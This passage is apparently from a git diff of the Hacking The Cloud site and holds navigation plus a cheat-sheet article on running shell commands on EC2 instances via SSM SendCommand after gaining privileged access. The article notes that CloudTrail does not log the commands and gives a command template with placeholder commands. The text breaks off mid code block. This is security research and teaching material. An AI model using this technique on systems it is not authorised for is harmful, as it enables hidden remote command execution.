https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5 checked> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=true> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#send-command class=md-nav__link> <span class=md-ellipsis> Send Command </span> </a> </li> <li class=md-nav__item> <a href=#session-manager class=md-nav__link> <span class=md-ellipsis> Session Manager </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#send-command class=md-nav__link> <span class=md-ellipsis> Send Command </span> </a> </li> <li class=md-nav__item> <a href=#session-manager class=md-nav__link> <span class=md-ellipsis> Session Manager </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/post_exploitation/run_shell_commands_on_ec2.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Run Shell Commands on EC2 with Send Command or Session Manager</h1> <p>After escalating privileges in a target AWS account or otherwise gaining privileged access you may want to run commands on EC2 instances in the account. This article hopes to provide a quick and referenceable cheat sheet on how to do this via <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ssm/send-command.html>ssm:SendCommand</a> or <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ssm/start-session.html>ssm:StartSession</a>.</p> <div class="admonition tip"> <p class=admonition-title>Tip</p> <p>By default, the commands that are issued are not logged to CloudTrail. Specifically they are "HIDDEN_DUE_TO_SECURITY_REASONS". As a result, if an adversary were to leverage this tactic against an environment, defenders would need to get information about those commands from host based controls. Defenders, this is an excellent capability to validate. Alternatively, offensive security teams can do the testing.</p> </div> <h2 id=send-command>Send Command<a class=headerlink href=#send-command title="Permanent link">&para;</a></h2> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm0 6c1.4 0 2.8 1.1 2.8 2.5V11c.6 0 1.2.6 1.2 1.3v3.5c0 .6-.6 1.2-1.3 1.2H9.2c-.6 0-1.2-.6-1.2-1.3v-3.5c0-.6.6-1.2 1.2-1.2V9.5C9.2 8.1 10.6 7 12 7m0 1.2c-.8 0-1.5.5-1.5 1.3V11h3V9.5c0-.8-.7-1.3-1.5-1.3"/></svg></span> <strong>Required IAM Permissions</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ssm/send-command.html>ssm:SendCommand</a></li> </ul> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 20v2.97h-2V20h-3v-2h3v-3h2v3h3v2zM12 1l9 4v6c0 .9-.1 1.78-.29 2.65A5.8 5.8 0 0 0 18 13a6 6 0 0 0-6 6c0 1.36.45 2.62 1.22 3.62L12 23c-5.16-1.26-9-6.45-9-12V5z"/></svg></span> <strong>Recommended but not Required IAM Permissions</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ssm/list-command-invocations.html>ssm:ListCommandInvocations</a></li> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/describe-instances.html>ec2:DescribeInstances</a></li> </ul> </li> </ul> </div> <p>You can send arbitrary shell commands to EC2 instances from the AWS CLI via the following:</p> <div class=highlight><pre><span></span><code>aws ssm send-command \
 --instance-ids &quot;i-00000000000000000&quot; \
 --document-name &quot;AWS-RunShellScript&quot;
 --parameters commands=&quot;*shell commands here*&quot;
diff --git a/aws/post_exploitation/s3_acl_persistence/index.html b/aws/post_exploitation/s3_acl_persistence/index.html
index 00750a8a6..b54ae8e65 100644
--- a/aws/post_exploitation/s3_acl_persistence/index.html
+++ b/aws/post_exploitation/s3_acl_persistence/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects."><link href=https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/ rel=canonical><link href=../run_shell_commands_on_ec2/ rel=prev><link href=../survive_access_key_deletion_with_sts_getfederationtoken/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>S3 File ACL Persistence - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet 